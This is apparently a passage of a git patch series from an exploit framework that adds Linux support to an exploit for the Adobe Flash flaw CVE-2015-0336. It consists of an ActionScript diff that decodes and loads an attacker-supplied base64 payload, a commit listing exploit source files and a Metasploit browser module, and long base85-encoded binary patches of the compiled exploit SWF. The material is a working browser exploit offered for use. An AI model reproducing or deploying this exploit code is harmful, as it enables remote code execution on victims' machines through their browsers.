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 = new Vector.(0x6400) public function Msf() { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr ba.endian = "littleEndian" From e5d42850c1bed947659ab1f5550c58a1ea16c175 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 27 May 2015 17:05:10 -0500 Subject: [PATCH 39/55] Add support for Linux to CVE-2015-0336 --- data/exploits/CVE-2015-0336/msf.swf | Bin 18121 -> 20599 bytes data/exploits/CVE-2015-0336/trigger_linux.swf | Bin 0 -> 340 bytes external/source/exploits/CVE-2015-0336/Elf.as | 235 +++++++++++++ .../source/exploits/CVE-2015-0336/Exploit.as | 120 +++++++ .../CVE-2015-0336/ExploitByteArray.as | 82 +++++ .../exploits/CVE-2015-0336/ExploitVector.as | 74 ++++ .../exploits/CVE-2015-0336/Exploiter.as | 251 ++++++++++++++ .../source/exploits/CVE-2015-0336/Logger.as | 32 ++ external/source/exploits/CVE-2015-0336/Msf.as | 321 ------------------ external/source/exploits/CVE-2015-0336/PE.as | 63 ++++ .../TriggerLinux/TriggerLinux.as2proj | 60 ++++ .../CVE-2015-0336/TriggerLinux/src/Main.as | 18 + .../adobe_flash_net_connection_confusion.rb | 167 +++++++++ .../adobe_flash_net_connection_confusion.rb | 3 + 14 files changed, 1105 insertions(+), 321 deletions(-) mode change 100755 => 100644 data/exploits/CVE-2015-0336/msf.swf create mode 100755 data/exploits/CVE-2015-0336/trigger_linux.swf create mode 100644 external/source/exploits/CVE-2015-0336/Elf.as create mode 100644 external/source/exploits/CVE-2015-0336/Exploit.as create mode 100644 external/source/exploits/CVE-2015-0336/ExploitByteArray.as create mode 100644 external/source/exploits/CVE-2015-0336/ExploitVector.as create mode 100644 external/source/exploits/CVE-2015-0336/Exploiter.as create mode 100644 external/source/exploits/CVE-2015-0336/Logger.as delete mode 100755 external/source/exploits/CVE-2015-0336/Msf.as create mode 100644 external/source/exploits/CVE-2015-0336/PE.as create mode 100755 external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj create mode 100755 external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as create mode 100644 modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb diff --git a/data/exploits/CVE-2015-0336/msf.swf b/data/exploits/CVE-2015-0336/msf.swf old mode 100755 new mode 100644 index 97b6ffe99c8b2f00fb4196a19f6bd600601dfc99..c014a3ef20856c4d1e2997a15ca1c484c113160c GIT binary patch delta 20478 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 